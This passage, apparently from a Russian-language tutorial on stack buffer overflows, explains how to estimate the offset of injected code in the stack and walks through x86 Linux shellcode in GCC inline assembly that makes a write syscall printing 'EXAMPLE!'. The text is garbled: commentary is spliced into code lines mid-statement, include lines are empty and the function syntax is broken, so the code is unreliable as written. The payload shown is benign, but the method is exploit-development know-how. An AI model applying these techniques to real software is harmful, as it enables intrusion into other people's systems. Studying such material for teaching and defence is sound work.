Можно ли теперь, зная адрес начала стека, точно определить в нем место размещения управляющего кода? Нет, нельзя!
Но для разумной оценки адреса области размещения управляющего кода можно увеличить ее размер способом, аналогичным способу последовательности команд
Определенная в программе переполнения буфера символическая константа OFFSET – предполагаемое смещение области размещения управляющего кода в стеке. В программе ему присвоено символическое значение ESP+1500.
Вот так в конечном счете выглядят управляющий код и программа переполнения:#include #include
/***** Shellcode dev with GCC *****/
int main {
__asm__(”
jmp string # jump down toЭто команды, с которых фактически начинается программный код полезной нагрузки. Сначала обнуляются используемые в программе регистры, чтобы находящиеся в них данные не повлияли на работу управляющего кода:
xor %EBX, %EBX
xor %EDX, %EDX
xor %EAX, %EAX
# Now we are going to set up a call to the
write
#function. What we are doing is basically:
# write(1,EXAMPLE!\n,9);
# Syscall reference: /usr/include/asm/unistd.h
#
# write : syscall 4
#Почти всем системным вызовам Linux параметры передаются через регистры. Параметры системного вызова
• ECX: адрес записываемых данных;
• EBX: дескриптор файла, в рассматриваемом случае используется дескриптор стандартного файла вывода stdout;
• EDX: длина записываемых данных.
Теперь в регистр EBX записывается нужный дескриптор файла. В данном случае дескриптор стандартного файла вывода stdout равен 1:popl %ECX # %ECX now holds the address of our string mov $0x1, %EBX
Затем длина записываемой строки записывается в младший полубайт регистра %EDX:
movb $0x09, %dl
Перед обращением к системному вызову следует сообщить операционной системе, какой системный вызов должен быть выполнен. Достигается это записью номера системного вызова в младший байт регистра %EAX – %al:
movb $0x04, %al
Теперь операционная система выполняет системный вызов, номер которого записан в регистр %al.
int $0x80
В конце программы нужно выполнить системный вызов завершения работы